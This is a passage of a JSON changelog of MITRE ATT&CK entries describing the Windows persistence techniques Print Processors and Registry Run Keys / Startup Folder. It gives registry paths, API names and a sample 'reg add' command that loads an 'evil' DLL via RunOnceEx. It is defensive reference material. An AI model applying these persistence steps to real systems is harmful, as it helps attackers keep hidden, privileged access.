                            "source_name": "Microsoft Intro Print Processors",
                            "description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
                            "url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
                        },
                        {
                            "source_name": "ESET PipeMon May 2020",
                            "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
                            "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Mathieu Tartare, ESET",
                        "Tahseen Bin Taj"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:02:45.518000+00:00\", \"old_value\": \"2025-10-24 17:48:35.261000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\\n\\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\\\SYSTEM\\\\\\\\[CurrentControlSet or ControlSet001]\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture: e.g., Windows x64]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver</code> Registry key that points to the DLL.\\n\\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n\\nThe print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.\", \"old_value\": \"Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\\n\\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code> enabled. Alternatively, a print processor can be registered to the print spooler service by adding the <code>HKLM\\\\SYSTEM\\\\\\\\[CurrentControlSet or ControlSet001]\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture: e.g., Windows x64]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver</code> Registry key that points to the DLL.\\n\\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n\\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the <code>GetPrintProcessorDirectory</code> API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\\n \\n-The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.\\n+The print spooler service runs under SYSTEM level permissions; therefore, print processors installed by an adversary may run under elevated privileges.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to96__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to96__0\"><a href=\"#difflib_chg_to96__top\">t</a></td><td class=\"diff_header\" id=\"from96_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;print&nbsp;processors&nbsp;to&nbsp;run&nbsp;malicious&nbsp;DLLs</td><td class=\"diff_next\"><a href=\"#difflib_chg_to96__top\">t</a></td><td class=\"diff_header\" id=\"to96_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;abuse&nbsp;print&nbsp;processors&nbsp;to&nbsp;run&nbsp;malicious&nbsp;DLLs</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;during&nbsp;system&nbsp;boot&nbsp;for&nbsp;persistence&nbsp;and/or&nbsp;privilege&nbsp;escalat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;during&nbsp;system&nbsp;boot&nbsp;for&nbsp;persistence&nbsp;and/or&nbsp;privilege&nbsp;escalat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion.&nbsp;Print&nbsp;processors&nbsp;are&nbsp;DLLs&nbsp;that&nbsp;are&nbsp;loaded&nbsp;by&nbsp;the&nbsp;print&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion.&nbsp;Print&nbsp;processors&nbsp;are&nbsp;DLLs&nbsp;that&nbsp;are&nbsp;loaded&nbsp;by&nbsp;the&nbsp;print&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">spooler&nbsp;service,&nbsp;`spoolsv.exe`,&nbsp;during&nbsp;boot.(Citation:&nbsp;Micro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">spooler&nbsp;service,&nbsp;`spoolsv.exe`,&nbsp;during&nbsp;boot.(Citation:&nbsp;Micro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;Intro&nbsp;Print&nbsp;Processors)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;the&nbsp;prin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;Intro&nbsp;Print&nbsp;Processors)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;the&nbsp;prin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;spooler&nbsp;service&nbsp;by&nbsp;adding&nbsp;print&nbsp;processors&nbsp;that&nbsp;load&nbsp;malic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;spooler&nbsp;service&nbsp;by&nbsp;adding&nbsp;print&nbsp;processors&nbsp;that&nbsp;load&nbsp;malic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;DLLs&nbsp;at&nbsp;startup.&nbsp;A&nbsp;print&nbsp;processor&nbsp;can&nbsp;be&nbsp;installed&nbsp;thr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;DLLs&nbsp;at&nbsp;startup.&nbsp;A&nbsp;print&nbsp;processor&nbsp;can&nbsp;be&nbsp;installed&nbsp;thr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ough&nbsp;the&nbsp;&lt;code&gt;AddPrintProcessor&lt;/code&gt;&nbsp;API&nbsp;call&nbsp;with&nbsp;an&nbsp;acc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ough&nbsp;the&nbsp;&lt;code&gt;AddPrintProcessor&lt;/code&gt;&nbsp;API&nbsp;call&nbsp;with&nbsp;an&nbsp;acc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ount&nbsp;that&nbsp;has&nbsp;&lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt;&nbsp;enabled.&nbsp;Al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ount&nbsp;that&nbsp;has&nbsp;&lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt;&nbsp;enabled.&nbsp;Al</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ternatively,&nbsp;a&nbsp;print&nbsp;processor&nbsp;can&nbsp;be&nbsp;registered&nbsp;to&nbsp;the&nbsp;prin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ternatively,&nbsp;a&nbsp;print&nbsp;processor&nbsp;can&nbsp;be&nbsp;registered&nbsp;to&nbsp;the&nbsp;prin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;spooler&nbsp;service&nbsp;by&nbsp;adding&nbsp;the&nbsp;&lt;code&gt;HKLM\\SYSTEM\\\\[CurrentC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;spooler&nbsp;service&nbsp;by&nbsp;adding&nbsp;the&nbsp;&lt;code&gt;HKLM\\SYSTEM\\\\[CurrentC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontrolSet&nbsp;or&nbsp;ControlSet001]\\Control\\Print\\Environments\\\\[Win</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontrolSet&nbsp;or&nbsp;ControlSet001]\\Control\\Print\\Environments\\\\[Win</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;architecture:&nbsp;e.g.,&nbsp;Windows&nbsp;x64]\\Print&nbsp;Processors\\\\[use</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dows&nbsp;architecture:&nbsp;e.g.,&nbsp;Windows&nbsp;x64]\\Print&nbsp;Processors\\\\[use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;defined]\\Driver&lt;/code&gt;&nbsp;Registry&nbsp;key&nbsp;that&nbsp;points&nbsp;to&nbsp;the&nbsp;DLL</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;defined]\\Driver&lt;/code&gt;&nbsp;Registry&nbsp;key&nbsp;that&nbsp;points&nbsp;to&nbsp;the&nbsp;DLL</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;&nbsp;For&nbsp;the&nbsp;malicious&nbsp;print&nbsp;processor&nbsp;to&nbsp;be&nbsp;correctly&nbsp;install</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;&nbsp;For&nbsp;the&nbsp;malicious&nbsp;print&nbsp;processor&nbsp;to&nbsp;be&nbsp;correctly&nbsp;install</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed,&nbsp;the&nbsp;payload&nbsp;must&nbsp;be&nbsp;located&nbsp;in&nbsp;the&nbsp;dedicated&nbsp;system&nbsp;prin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed,&nbsp;the&nbsp;payload&nbsp;must&nbsp;be&nbsp;located&nbsp;in&nbsp;the&nbsp;dedicated&nbsp;system&nbsp;prin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t-processor&nbsp;directory,&nbsp;that&nbsp;can&nbsp;be&nbsp;found&nbsp;with&nbsp;the&nbsp;&lt;code&gt;GetP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t-processor&nbsp;directory,&nbsp;that&nbsp;can&nbsp;be&nbsp;found&nbsp;with&nbsp;the&nbsp;&lt;code&gt;GetP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rintProcessorDirectory&lt;/code&gt;&nbsp;API&nbsp;call,&nbsp;or&nbsp;referenced&nbsp;via&nbsp;a&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rintProcessorDirectory&lt;/code&gt;&nbsp;API&nbsp;call,&nbsp;or&nbsp;referenced&nbsp;via&nbsp;a&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">relative&nbsp;path&nbsp;from&nbsp;this&nbsp;directory.(Citation:&nbsp;Microsoft&nbsp;AddPr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">relative&nbsp;path&nbsp;from&nbsp;this&nbsp;directory.(Citation:&nbsp;Microsoft&nbsp;AddPr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">intProcessor&nbsp;May&nbsp;2018)&nbsp;After&nbsp;the&nbsp;print&nbsp;processors&nbsp;are&nbsp;instal</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">intProcessor&nbsp;May&nbsp;2018)&nbsp;After&nbsp;the&nbsp;print&nbsp;processors&nbsp;are&nbsp;instal</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">led,&nbsp;the&nbsp;print&nbsp;spooler&nbsp;service,&nbsp;which&nbsp;starts&nbsp;during&nbsp;boot,&nbsp;mu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">led,&nbsp;the&nbsp;print&nbsp;spooler&nbsp;service,&nbsp;which&nbsp;starts&nbsp;during&nbsp;boot,&nbsp;mu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">st&nbsp;be&nbsp;restarted&nbsp;in&nbsp;order&nbsp;for&nbsp;them&nbsp;to&nbsp;run.(Citation:&nbsp;ESET&nbsp;Pip</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">st&nbsp;be&nbsp;restarted&nbsp;in&nbsp;order&nbsp;for&nbsp;them&nbsp;to&nbsp;run.(Citation:&nbsp;ESET&nbsp;Pip</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eMon&nbsp;May&nbsp;2020)&nbsp;&nbsp;The&nbsp;print&nbsp;spooler&nbsp;service&nbsp;runs&nbsp;under&nbsp;SYSTEM&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eMon&nbsp;May&nbsp;2020)&nbsp;&nbsp;The&nbsp;print&nbsp;spooler&nbsp;service&nbsp;runs&nbsp;under&nbsp;SYSTEM&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">level&nbsp;permissions,&nbsp;<span class=\"diff_chg\">therefore&nbsp;print&nbsp;processors&nbsp;installed&nbsp;by&nbsp;a</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">level&nbsp;permissions<span class=\"diff_add\">;&nbsp;therefore</span>,&nbsp;<span class=\"diff_chg\">print&nbsp;processors&nbsp;installed&nbsp;by&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">n&nbsp;adversary</span>&nbsp;may&nbsp;run&nbsp;under&nbsp;elevated&nbsp;privileges.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">an&nbsp;adversary</span>&nbsp;may&nbsp;run&nbsp;under&nbsp;elevated&nbsp;privileges.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0026: Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-23 22:02:48.566000+00:00",
                    "modified": "2026-11-04 00:53:43.122000+00:00",
                    "name": "Registry Run Keys / Startup Folder",
                    "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: <code>reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"</code>(Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</code>. The startup folder path for all users is <code>C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp</code>.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders</code>\n* <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders</code>\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices</code>\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run</code>\n\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> run automatically for the currently logged-on user.\n\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1547/001",
                            "external_id": "T1547.001"
                        },
                        {
                            "source_name": "Malwarebytes Wow6432Node 2016",
                            "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
                            "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
                        },
                        {
                            "source_name": "Microsoft Wow6432Node 2018",
                            "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
                        },
                        {
                            "source_name": "Microsoft Run Key",
                            "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
                        },
                        {
                            "source_name": "Oddvar Moe RunOnceEx Mar 2018",
                            "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
                            "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Oddvar Moe, @oddvarmoe",
                        "Dray Agha, @Purp1eW0lf, Huntress Labs",
                        "Harun K\u00fc\u00dfner"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:53:43.122000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \\\"run keys\\\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\\n\\nThe following run keys are created by default on Windows systems:\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce</code>\\n\\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \\\"Depend\\\" key with RunOnceEx: <code>reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend /v 1 /d \\\"C:\\\\temp\\\\evil[.]dll\\\"</code>(Citation: Oddvar Moe RunOnceEx Mar 2018)\\n\\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is <code>C:\\\\Users\\\\\\\\[Username]\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup</code>. The startup folder path for all users is <code>C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp</code>.\\n\\nThe following Registry keys can be used to set startup folder items for persistence:\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders</code>\\n\\nThe following Registry keys can control automatic startup of services during boot:\\n\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices</code>\\n\\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\\n\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run</code>\\n\\nPrograms listed in the load value of the registry key <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows</code> run automatically for the currently logged-on user.\\n\\nBy default, the multistring <code>BootExecute</code> value of the registry key <code>HKEY_LOCAL_MACHINE\\\\System\\\\CurrentControlSet\\\\Control\\\\Session Manager</code> is set to <code>autocheck autochk *</code>. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\\n\\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\", \"old_value\": \"Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \\\"run keys\\\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\\n\\nThe following run keys are created by default on Windows systems:\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run</code>\\n* <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce</code>\\n\\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The <code>HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a 